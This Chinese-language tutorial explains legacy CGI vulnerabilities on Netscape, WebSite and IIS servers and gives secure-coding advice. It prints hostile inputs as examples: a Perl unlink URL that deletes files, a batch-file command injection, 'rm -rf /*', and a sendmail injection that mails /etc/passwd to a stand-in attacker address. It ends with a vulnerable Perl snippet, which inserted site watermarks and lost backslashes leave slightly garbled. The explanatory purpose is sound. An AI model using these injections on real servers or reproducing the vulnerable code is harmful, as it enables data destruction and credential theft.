〖1〗Perl解释器的漏洞
Netscape Communications Server中无法识别cgi-bin下的扩展名 及其应 用关系,如:.pl是PERL的代码程序自动调用 perl.exe文件解 释,即使现在也只 能把perl.exe文件存放在cgi-bin目录之下。执行 如: /cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl 的可能, 当有些人在其浏览器的URL中加上如: /cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服务器当 前目录下文件的危险。但是,其他如:O'Reilly WebSite或Purveyor都 不存在这种漏洞。
〖2〗CGI执行批处理文件的漏洞
文件名:test.bat:
@echo off
echo Content-type: text/plain
echo
echo Hello World!
如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命 令解释 器完成dir列表。这给访问者有执行其他命令可能性。
2)O'Reilly WebSite server for Windows NT/95
在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样 的漏洞, 但是,新版关闭.bat在cgi中的作用。支持perl,VB和C作为CGI 开发工具。至于 他的安全问题参看: http://website.ora.com/devcomer/secalert1。
3)Microsoft's IIS Web Server
在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严 重,可以 任意使用command命令。但之后修补该漏洞。你可检查你的可 执行文件的建立日 期。IIS3.0还存在一些安全bug,主要是cgi-bin下的 覆给权利。
另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本 升级过 程不断更新。在这就不一一列举。
从CGI编程角度考虑安全:
1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独 立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览 器端取得解释性语 言的原代码后从中寻找漏洞。
2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉 及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval() 等exec或eval之类命 令。在由用户填写的form还回cgi时,不要直接调 用system()之类函数。这是为避 免当填写内容为“rm -rf /*”或 “/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之类内容。
3〕用Perl编写CGI时如:
$mail_to = &get_name_from_input;
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com)open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailtonFrom: mennHi there!n";
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com)close MAIL;
该小程序是把客户浏览器的form到服务器的mail处理程序。